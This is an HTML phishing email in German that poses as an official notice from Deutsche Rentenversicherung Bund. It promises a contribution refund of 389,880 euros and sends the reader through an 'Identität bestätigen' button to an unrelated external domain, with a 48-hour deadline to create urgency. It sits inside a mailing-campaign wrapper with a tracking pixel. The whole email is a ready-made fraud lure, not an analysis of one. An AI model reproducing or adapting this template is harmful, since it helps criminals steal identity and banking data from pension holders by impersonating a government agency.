<!doctype html>
<html>
<head>
<title>Mitteilung über ein Guthaben auf Ihrem Versicherungskonto</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1">
<base target="_blank">
<style>
body {
background-color: #F0F1F3;
font-family: 'Helvetica Neue', 'Segoe UI', Helvetica, sans-serif;
font-size: 15px;
line-height: 26px;
margin: 0;
color: #444;
}
pre {
background: #f4f4f4f4;
padding: 2px;
}
table {
width: 100%;
border: 1px solid #ddd;
}
table td {
border-color: #ddd;
padding: 5px;
}
.wrap {
background-color: #fff;
padding: 30px;
max-width: 525px;
margin: 0 auto;
border-radius: 5px;
}
.button {
background: #0055d4;
border-radius: 3px;
text-decoration: none !important;
color: #fff !important;
font-weight: bold;
padding: 10px 30px;
display: inline-block;
}
.button:hover {
background: #111;
}
.footer {
text-align: center;
font-size: 12px;
color: #888;
}
.footer a {
color: #888;
margin-right: 5px;
}
.gutter {
padding: 30px;
}
img {
max-width: 100%;
height: auto;
}
a {
color: #0055d4;
}
a:hover {
color: #111;
}
@media screen and (max-width: 600px) {
.wrap {
max-width: auto;
}
.gutter {
padding: 10px;
}
}
</style>
</head>
<body style="background-color: #F0F1F3;font-family: 'Helvetica Neue', 'Segoe UI', Helvetica, sans-serif;font-size: 15px;line-height: 26px;margin: 0;color: #444;">
<div class="gutter" style="padding: 30px;"> </div>
<div class="wrap" style="background-color: #fff;padding: 30px;max-width: 525px;margin: 0 auto;border-radius: 5px;">
<!DOCTYPE html>
<html lang="de">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>DRV Bund – Offizieller Bescheid</title>
</head>
<body
style="margin: 0; padding: 0; background-color: #f3f4f6; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; -webkit-font-smoothing: antialiased;">
<div class="email-wrapper" style="width: 100%; table-layout: fixed; background-color: #f3f4f6; padding: 40px 0;">
<div class="content-card"
style="max-width: 700px; margin: 0 auto; background-color: #ffffff; border-radius: 4px; box-shadow: 0 4px 20px rgba(0, 0, 0, 0.05); overflow: hidden;">
<div class="header-bar" style="background-color: #00305E; height: 4px;"></div>
<div class="inner-padding" style="padding: 48px 60px;">
<div class="logo-row" style="margin-bottom: 40px; display: block; width: 100%;">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td valign="top">
<img src="https://cdn.healthtechalpha.com/static/corporatesById/5883.png" alt="DRV Logo" style="display: block; height: 55px; width: auto;">
</td>
<td align="right" valign="top">
<div class="meta-info"
style="text-align: right; font-size: 11px; color: #94a3b8; line-height: 1.6;">
Geschäftszeichen: RV-2026-X89<br>
Datum: 09. Mai 2026<br>
Dienststelle: Berlin
</div>
</td>
</tr>
</table>
</div>
<div class="subject-line"
style="font-size: 18px; font-weight: 700; color: #1e293b; margin-bottom: 32px; padding-bottom: 16px; border-bottom: 1px solid #f1f5f9;">
Bescheid über die Erstattung von Rentenversicherungsbeiträgen
</div>
<div class="salutation" style="font-size: 15px; color: #334155; margin-bottom: 20px; font-weight: 500;">
Sehr geehrter Versicherter,</div>
<div class="body-text" style="font-size: 14px; color: #475569; line-height: 1.7; margin-bottom: 20px;">
im Rahmen einer turnusmäßigen systemseitigen Überprüfung Ihres Versicherungskontos wurde
festgestellt, dass für die vergangenen Abrechnungsperioden überhöhte Beitragssätze angewandt wurden.
Grundlage hierfür ist die Neuregelung zur rückwirkenden Anpassung der Beitragsbemessungsgrenzen
gemäß § 26 SGB IV.
</div>
<div class="body-text" style="font-size: 14px; color: #475569; line-height: 1.7; margin-bottom: 20px;">
Daraus ergibt sich zu Ihren Gunsten ein erhebliches Beitragsguthaben. Nach abschließender
rechnerischer Prüfung der Finanzabteilung beläuft sich der gesetzliche Erstattungsbetrag auf:
</div>
<div class="highlight-box"
style="background-color: #f8fafc; border: 1px solid #e2e8f0; border-left: 4px solid #00305E; border-radius: 8px; padding: 24px; margin: 32px 0; text-align: center;">
<div class="amount-label"
style="font-size: 12px; text-transform: uppercase; letter-spacing: 1px; color: #64748b; margin-bottom: 8px; font-weight: 600;">
Festgestellter Erstattungsbetrag</div>
<div class="amount-value" style="font-size: 32px; font-weight: 800; color: #00305E;">389.880€</div>
<div style="font-size: 11px; color: #64748b; margin-top: 12px; font-weight: 500;">
Zahlbar nach Identitätsprüfung
</div>
</div>
<div class="body-text" style="font-size: 14px; color: #475569; line-height: 1.7; margin-bottom: 20px;">
Um die sofortige Anweisung dieses Betrages auf Ihr hinterlegtes Referenzkonto einzuleiten, ist aus
datenschutzrechtlichen Gründen eine einmalige digitale Identitätsprüfung erforderlich. Dieser
Prozess gewährleistet die Sicherheit Ihrer Daten und verhindert unbefugte Transaktionen durch
Dritte.
</div>
<div class="action-container" style="text-align: center; margin: 40px 0;">
<a href="https://handsoccupied.com/rabz" class="btn-primary"
style="display: inline-block; background-color: #00305E; color: #ffffff; text-decoration: none; font-weight: 600; font-size: 14px; padding: 16px 40px; border-radius: 6px;">
Identität bestätigen & Auszahlung anfordern
</a>
<div class="warning-notice" style="font-size: 12px; color: #94a3b8; margin-top: 12px;">
Der Vorgang dauert weniger als 2 Minuten.
</div>
</div>
<div class="footer-notice"
style="background-color: #fff1f2; border: 1px solid #fecdd3; border-radius: 6px; padding: 16px; margin-bottom: 32px; display: block;">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td width="30" valign="top" style="font-size: 20px; padding-right: 12px;">⚠️</td>
<td valign="top" class="footer-notice-text"
style="font-size: 13px; color: #991b1b; line-height: 1.5;">
<strong>Fristwahrender Hinweis:</strong> Sollte die Bestätigung nicht innerhalb von 48
Stunden erfolgen, wird das Guthaben gemäß den gesetzlichen Bestimmungen vorerst auf
einem Verwahrkonto gesichert.
</td>
</tr>
</table>
</div>
<div class="signature"
style="margin-top: 48px; padding-top: 24px; border-top: 1px solid #f1f5f9; font-size: 14px; color: #475569;">
Mit freundlichen Grüßen<br>
Im Auftrag
<div class="signature-name" style="font-weight: 700; color: #1e293b; margin-top: 4px;">
Sachbearbeitung Finanzen</div>
<div style="font-size: 12px; margin-top: 4px;">Deutsche Rentenversicherung Bund</div>
</div>
</div>
</div>
<div class="bottom-bar" style="text-align: center; padding: 20px 0; font-size: 11px; color: #94a3b8;">
© 2026 Deutsche Rentenversicherung Bund. Dies ist eine automatisch generierte Nachricht.<br>
Bitte antworten Sie nicht auf diese E-Mail.
</div>
</div>
</body>
</html>
</div>
<div class="footer" style="text-align: center;font-size: 12px;color: #888;">
<p>
<a href="http://localhost:9000/subscription/bd49dda0-a382-4a91-89b2-2abd0a81f2d1/6a0b7219-a7bc-42cf-8d1a-42d0e6b0e680" style="color: #888;">Unsubscribe</a>
<a href="http://localhost:9000/campaign/bd49dda0-a382-4a91-89b2-2abd0a81f2d1/6a0b7219-a7bc-42cf-8d1a-42d0e6b0e680" style="color: #888;">View in browser</a>
</p>
</div>
<div class="gutter" style="padding: 30px;"> <img src="http://localhost:9000/campaign/bd49dda0-a382-4a91-89b2-2abd0a81f2d1/00000000-0000-0000-0000-000000000000/px.png" alt="" /></div>
</body>
</html>